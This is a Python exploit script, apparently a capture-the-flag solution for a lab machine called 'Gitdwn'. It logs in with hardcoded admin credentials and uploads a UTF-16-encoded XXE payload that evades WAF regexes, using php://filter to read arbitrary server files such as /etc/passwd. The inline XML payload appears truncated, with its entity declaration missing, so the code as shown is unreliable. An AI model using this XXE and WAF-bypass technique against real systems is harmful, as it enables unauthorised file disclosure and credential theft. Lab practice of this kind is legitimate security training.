#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Gitdwn 靶机 — XXE 文件读取脚本 (UTF-16 WAF 绕过) ===================================================== 利用 UTF-16LE 编码绕过两道 WAF 正则,结合 php://filter base64 编码读取任意文件内容。 绕过原理: UTF-16LE 编码在每个 ASCII 字节后插入 0x00: 'php' -> 'p\x00h\x00p\x00' ' '<\x00!\x00D\x00O\x00C\x00T\x00Y\x00P\x00E\x00' preg_match 在原始字节流上搜索原生 ASCII 模式,匹配失败。 用法: python3 02_xxe_reader.py <目标IP> <文件路径> python3 02_xxe_reader.py 192.168.1.118 /etc/passwd python3 02_xxe_reader.py 192.168.1.118 /home/git/user.txt 认证: 脚本会自动使用 admin:hotdog 登录获取有效 Session。 如需更换凭据,修改 ADMIN_USER / ADMIN_PASS 常量。 依赖: pip install pycryptodome requests """ import sys import json import base64 import requests from Crypto.Cipher import AES, PKCS1_v1_5 from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad # ============================================================ # 配置 # ============================================================ RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt6l3k43vuI+8ODHhr07q /fBswyWqv5d0SsoX2+i5rWy98PW58HNrKveU6IDRhWFOmA8MQ0j7zUcH33VGaQNO ZdI8gmo4pdlABQJ7EM4E6KGYCxlyIi4QtyUorBP6pfS1nlLCyAIcybnpia4kHT/p MqaIXKMVqDYHGJMNp0LIBkFA0eKp9usd2YStJ0nzgZrJS2t8znbvqXqx8uvBkRpZ bEZKUc3skgUIumazaw4plE+OzcVAa/67vuD7e7sycVHY+McsphLm+1CjS1jjvBt6 z036X4WJUANNIb4K2yJ8tYREXbxLQ5uwnVb9cwbQKSGg8Tr6GgSkbNjseAgZaUPt QwIDAQAB -----END PUBLIC KEY-----""" ADMIN_USER = "admin" ADMIN_PASS = "hotdog" # ============================================================ # 加密函数 (与 01_login_bruteforce.py 相同) # ============================================================ def encrypt_login(username, password): aes_key = get_random_bytes(16) iv = get_random_bytes(16) credentials = json.dumps({"username": username, "password": password}) cipher = AES.new(aes_key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(credentials.encode(), AES.block_size)) encrypted_data_b64 = base64.b64encode(encrypted).decode() rsa_key = RSA.import_key(RSA_PUBLIC_KEY) rsa_cipher = PKCS1_v1_5.new(rsa_key) aes_key_b64 = base64.b64encode(aes_key).decode() iv_b64 = base64.b64encode(iv).decode() encrypted_key = base64.b64encode( rsa_cipher.encrypt(aes_key_b64.encode()) ).decode() encrypted_iv = base64.b64encode( rsa_cipher.encrypt(iv_b64.encode()) ).decode() return { "encryptedData": encrypted_data_b64, "encryptedKey": encrypted_key, "encryptedIv": encrypted_iv } # ============================================================ # XXE 文件读取 (UTF-16 绕过) # ============================================================ def read_file(session, target, filepath, use_base64=True): """ 通过 XXE 读取目标文件。 Args: session: requests.Session (已认证) target: 目标 IP filepath: 要读取的文件绝对路径 use_base64: 是否使用 php://filter base64 编码 (读取含 XML 特殊字符的文件时必须启用) Returns: 文件内容字符串,或 None """ if use_base64: uri = f"php://filter/convert.base64-encode/resource={filepath}" else: uri = f"file://{filepath}" # UTF-16 编码的 XXE Payload xml = f""" ]> &xxe;""" url = f"http://{target}/api/import.php" r = session.post( url, files={"xmlFile": ("pwn.xml", xml.encode("utf-16"), "text/xml")} ) try: j = r.json() except json.JSONDecodeError: print(f"[!] 非 JSON 响应: {r.text[:200]}") return None if not j.get("success"): msg = j.get("message", "Unknown error") if "Invalid XML" in str(msg): print(f"[!] 文件可能不存在或无权限: {filepath}") else: print(f"[!] 读取失败: {msg}") return None raw = j.get("data", {}).get("data", "") if use_base64 and raw: try: return base64.b64decode(raw).decode("utf-8", errors="replace") except Exception as e: print(f"[!] Base64 解码失败: {e}") return raw return raw if raw else None def login(target): """登录 MazeSec,返回带认证 cookie 的 Session""" session = requests.Session() payload = encrypt_login(ADMIN_USER, ADMIN_PASS) r = session.post(f"http://{target}/api/login.php", json=payload) if '"success":true' not in r.text: print(f"[!] 登录失败: {r.text}") sys.exit(1) # JS 客户端会设置 session_token cookie token = r.json().get("token") session.cookies.set("session_token", token) print(f"[+] 登录成功: {ADMIN_USER} (PHPSESSID={session.cookies.get('PHPSESSID')})") return session def main(): if len(sys.argv) < 3: print(f"用法: {sys.argv[0]} <目标IP> <文件路径> [--raw]") print(f"示例: {sys.argv[0]} 192.168.1.118 /etc/passwd") print(f" {sys.argv[0]} 192.168.1.118 /home/git/user.txt") sys.exit(1) target = sys.argv[1] filepath = sys.argv[2] use_base64 = "--raw" not in sys.argv # 默认使用 base64 编码 print(f"[*] 目标: {target}") print(f"[*] 文件: {filepath}") print(f"[*] 模式: {'base64 编码' if use_base64 else '原始读取'}\n") # Step 1: 登录 session = login(target) # Step 2: XXE 读取 content = read_file(session, target, filepath, use_base64) if content: print(f"\n{'='*60}") print(content.strip()) print(f"{'='*60}") else: print("\n[!] 无法读取文件") if __name__ == "__main__": main()